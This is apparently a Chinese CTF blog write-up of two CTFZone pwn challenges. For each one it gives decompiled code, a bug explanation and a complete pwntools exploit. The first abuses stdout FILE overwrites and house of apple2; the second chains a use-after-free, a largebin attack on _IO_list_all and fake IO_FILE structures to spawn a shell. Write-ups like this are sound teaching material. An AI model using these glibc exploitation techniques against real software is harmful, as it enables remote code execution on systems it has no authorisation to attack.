CTFZone_Pwn部分WP


附件下载:https://z-l-s-f.lanzouq.com/ilwK933r8feb

密码:1jh9


baby_fpon

Glibc: Ubuntu GLIBC 2.40-1ubuntu3

check:

1
2
3
4
5
6
7
[*] '/home/zlsf/com/zoneCTF/001/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No

ida:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int __fastcall main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rdx
char v4; // al
_BYTE *v5; // rdx
__int64 v6; // rdx
unsigned __int8 user_uint8; // [rsp+Eh] [rbp-12h]
unsigned __int8 v9; // [rsp+Eh] [rbp-12h]
FILE *v10; // [rsp+10h] [rbp-10h]
void *buf; // [rsp+18h] [rbp-8h]

v10 = _bss_start;
user_uint8 = get_user_uint8("Offset: ", argv, envp);
v4 = get_user_uint8("Byte: ", argv, v3);
v5 = (char *)v10 + user_uint8;
*v5 = v4;
v9 = get_user_uint8("Offset: ", argv, v5);
*((_BYTE *)&v10->_flags + v9) = get_user_uint8("Byte: ", argv, v6);
buf = (void *)get_user_uint64("Address: ");
printf("Content: ");
read(0, buf, 0x1000uLL);
puts("That's all");
return 0;
}

通过简单逆向可知 _bss_start 的地址就是 stdout 在bss段的地址,我们可以通过第一次写入修改 fp+0x20 最后一个字节为 0x00 ,通过第二次输入修改 fp 为 0xfbad1800 (实际上最主要修改的是0x18)。

通过泄漏出来的 libc 地址和第三次的地址任意写来修改 stderr 的内容来打一个 house of apple2 即可完成 getshell。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from pwn import *
import subprocess
import os
#from ctypes import *

def stre(a) : return str(a).encode()
def ph(a,b="addr") : print(b+": "+hex(a))
def re(a) : return p.recv(a)
def pre(a) : print(p.recv(a))
def reu(a,b=False) : return p.recvuntil(a,drop=b)
def rel() : return p.recvline()
def se(a) : p.send(a)
def sea(a,b) : p.sendafter(a,b)
def sel(a) : p.sendline(a)
def sela(a,b) : p.sendlineafter(a,b)
def op() : p.interactive()
def cp() : p.close()
def raddr64() : return u64(p.recv(6).ljust(8,b'\x00'))
def raddr32() : return u32(p.recv(4))
def raddr_T() : return int(re(14),16)
def raddr_A() : return int(reu(b"-",True),16)
def get_pid(process_name):
ps_output = subprocess.check_output(['ps', '-a']).decode('utf-8')
lines = ps_output.splitlines()
for line in lines:
if process_name in line:
pid = line.split()[0]
if pid.isdigit():
return pid
return None
def gdbremote(pid , name = 'ten' , port = '10000' , ip = '127.0.0.1'):
os.system("gnome-terminal -- bash -c \"docker exec -it " + name + " gdbserver :" + port + " --attach " + pid + " \"")
os.system("gnome-terminal -- bash -c \"gdb -ex \\\"target remote " + ip + ":" + port + "\\\" \"")
def orw_rop64(pop_rdi,pop_rsi,pop_rdx,flag_addr,open_addr,read_addr,write_addr):
orw = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open_addr)
orw+= p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30)
orw+= p64(read_addr)
orw+= p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30)
orw+= p64(write_addr)
return orw
def getorw(name,buf,Arch) :
sh=shellcraft.open(name)
sh+=shellcraft.read(3,buf,0x30)
sh+=shellcraft.write(1,buf,0x30)
sh=asm(sh,arch=Arch)
return sh
def gdbp(p,a='') :
if a!='':
gdb.attach(p,a)
pause()
else :
gdb.attach(p)
pause()

#p = remote("baby_fpon.tasks.ctf.ad", 32176)
#p = remote("127.0.0.1", 9999)
p = process("./pwn")
#elf = ELF("./pwn")
libc = ELF("./libc.so.6")
#lib = cdll.LoadLibrary(None)

#p = process(["qemu-mipsel-static","-g", "9999","-L","./","./pwn"])
#p = process(["qemu-mipsel-static","-L","./","./pwn"])

#context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
#elf.arch , elf.so

sela(b"Offset: ", stre(0x20))
sela(b"Byte: ", stre(0x0))
sel(stre(1))
sel( stre(0x18))
libc_base = raddr64() - 0x212644
ph(libc_base, "libc_base")

stderr = libc_base + 0x2124e0
io_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']
sys_addr = libc_base + libc.sym['system']

sel(stre(stderr))
payload = p32(0xfffff7f5) + b";sh\x00" + p64(0)
payload+= p64(0)*2
payload+= p64(0) + p64(1)
payload+= b"\x00"*0x38 + p64(sys_addr) + b"\x00"*0x30 + p64(stderr-0x20)
payload+= b"\x00"*0x18 + p64(stderr) + p64(0) + p64(0) + p64(io_wfile_jumps)
sel(payload)

op()

ponella

Glibc: Ubuntu GLIBC 2.40-1ubuntu3

check:

1
2
3
4
5
6
7
[*] '/home/zlsf/com/zoneCTF/002/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No

ida:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
__int64 free_chunk()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]

tcache_check();
printf("Index: ");
v1 = get_int();
if ( v1 > 0xF || !*((_QWORD *)&heap_chunks + v1) )
{
puts("Ponella");
_exit(1);
}
free(*((void **)&heap_chunks + v1));
return tcache_check();
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
unsigned __int64 tcache_check()
{
unsigned __int64 result; // rax
int i; // [rsp+4h] [rbp-1Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-18h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v2 = *(_QWORD *)get_heap_base_ptr();
result = v2 + 144;
for ( i = 0; i <= 63; ++i )
{
result = *(_QWORD *)(8LL * i + v2 + 144);
v3 = result;
if ( result )
{
if ( result < v2 || (result = v2 + 12288, v2 + 12288 < v3) )
{
puts("Ponella");
_exit(1);
}
}
}
return result;
}

函数 free_chunk 存在 uaf 漏洞,函数 tcache_check 经过调试验证后发现是用于检查 tcachebin attack 所劫持的目标地址不能超过 heap_base + 0x3000 左右,所以我们可以改用一个特殊的largebin attack。

通过 uaf 我们可以制造出 largebin 和 tcachebin 错开 0x10 字节堆叠的情况(如果不错开那么 largebin 默认写入 fd 的一个 libc 地址会导致 tcache_check() 的触发。

通过 tcachebin 的重新申请我们可以修改 largebin 来打出 largebin attack,通过劫持 _IO_list_all 来打出一个 house of apple2。

可能是两个largebin 互相造成影响,如果在目标堆上构造 fake_IO_FILE 结构时 _IO_list_all 会跑到另外一个没有构造结构的堆块上,所以我选择全都要,将两边都构造 fake_IO_FILE 结构后能成功 getshell。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
from pwn import *
import subprocess
import os
#from ctypes import *

def stre(a) : return str(a).encode()
def ph(a,b="addr") : print(b+": "+hex(a))
def re(a) : return p.recv(a)
def pre(a) : print(p.recv(a))
def reu(a,b=False) : return p.recvuntil(a,drop=b)
def rel() : return p.recvline()
def se(a) : p.send(a)
def sea(a,b) : p.sendafter(a,b)
def sel(a) : p.sendline(a)
def sela(a,b) : p.sendlineafter(a,b)
def op() : p.interactive()
def cp() : p.close()
def raddr64() : return u64(p.recv(6).ljust(8,b'\x00'))
def raddr32() : return u32(p.recv(4))
def raddr_T() : return int(re(14),16)
def raddr_A() : return int(reu(b"-",True),16)
def get_pid(process_name):
ps_output = subprocess.check_output(['ps', '-a']).decode('utf-8')
lines = ps_output.splitlines()
for line in lines:
if process_name in line:
pid = line.split()[0]
if pid.isdigit():
return pid
return None
def gdbremote(pid , name = 'pwn-box-22.04' , port = '10000' , ip = '127.0.0.1'):
os.system("gnome-terminal -- bash -c \"docker exec -it " + name + " gdbserver :" + port + " --attach " + pid + " \"")
os.system("gnome-terminal -- bash -c \"gdb -ex \\\"target remote " + ip + ":" + port + "\\\" \"")
def orw_rop64(pop_rdi,pop_rsi,pop_rdx,flag_addr,open_addr,read_addr,write_addr):
orw = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open_addr)
orw+= p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30)
orw+= p64(read_addr)
orw+= p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30)
orw+= p64(write_addr)
return orw
def getorw(name,buf,Arch) :
sh=shellcraft.open(name)
sh+=shellcraft.read(3,buf,0x30)
sh+=shellcraft.write(1,buf,0x30)
sh=asm(sh,arch=Arch)
return sh
def gdbp(p,a='') :
if a!='':
gdb.attach(p,a)
pause()
else :
gdb.attach(p)
pause()

p = remote("ponella.tasks.ctf.ad", 43543)
#p = process("./pwn")
#elf = ELF("./pwn")
libc = ELF("./libc.so.6")
#lib = cdll.LoadLibrary(None)

#p = process(["qemu-mipsel-static","-g", "9999","-L","./","./pwn"])
#p = process(["qemu-mipsel-static","-L","./","./pwn"])

#context.log_level = 'debug'
#context.arch = 'amd64'
#context.os = 'linux'
#elf.arch , elf.so

def add(index, size, content):
sela(b"> ", stre(1))
sela(b": ", stre(index))
sela(b": ", stre(size))
sela(b": ", content)

def show(index):
sela(b"> ", stre(3))
sela(b": ", stre(index))

def dele(index):
sela(b"> ", stre(2))
sela(b": ", stre(index))

add(0, 0x870, b"A"*0x8)
add(1, 0x68, b"A"*0x8)
dele(0)

show(0)
reu(b"== DATA ==\n")
libc_base = raddr64() - 0x211b20
ph(libc_base,"libc_base")

dele(1)

show(1)
reu(b"== DATA ==\n")
heap_base = u64(p.recv(5).ljust(8,b'\x00')) << (8+4)
ph(heap_base,"heap_base")
key = heap_base >> (8+4)

IO_list_all = libc_base + libc.sym["_IO_list_all"]
io_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']
sys_addr = libc_base + libc.sym['system']

add(2, 0x430, b"Z"*0x8)
add(3, 0x430, b"Z"*0x8)
dele(3)
dele(2)
add(4, 0x870, b"A"*0x438 + p64(0x211))
dele(3)
dele(4)

add(5, 0x440, b"A"*0x8)
add(6, 0x420, b"A"*0x8)
add(7, 0x410, b"S"*0x8)
add(8, 0x440, b"A"*0x8)
dele(6)
add(9, 0x440, b"A"*0x8)

fd = libc_base + 0x211f10
bk = fd
next_fd = heap_base + 0x6e0

add(10, 0x200, p64(0) + p64(0x431) + p64(fd) + p64(bk) + p64(next_fd) + p64(IO_list_all-0x20))
dele(7)
add(11, 0x440, b"A"*0x8)

payload = p64(0)*2
payload+= p64(0) + p64(1)
payload+= b"\x00"*0x38 + p64(sys_addr) + b"\x00"*0x30 + p64(heap_base+0xb80)
payload+= b"\x00"*0x30+ p64(io_wfile_jumps)
payload+= p64(heap_base+0xb80)

add(12, 0x410, payload)
add(13, 0x68, b"A"*0x60 + p32(0xfffff7f5) + b";sh\x00")

dele(10)

payload = p32(0xfffff7f5) + b";sh\x00" + p64(0)
payload+= p64(0)*2
payload+= p64(0) + p64(1)
payload+= b"\x00"*0x38 + p64(sys_addr) + b"\x00"*0x30 + p64(heap_base+0x6e0)
payload+= b"\x00"*0x30+ p64(io_wfile_jumps)
payload+= p64(heap_base+0x6e0)

add(14, 0x200, payload)

sela(b"> ", stre(4))

op()

CTFZone_Pwn部分WP
https://zlsf-zl.github.io/2025/08/17/CTFZone-Pwn部分WP/
作者
ZLSF
发布于
2025年8月17日
许可协议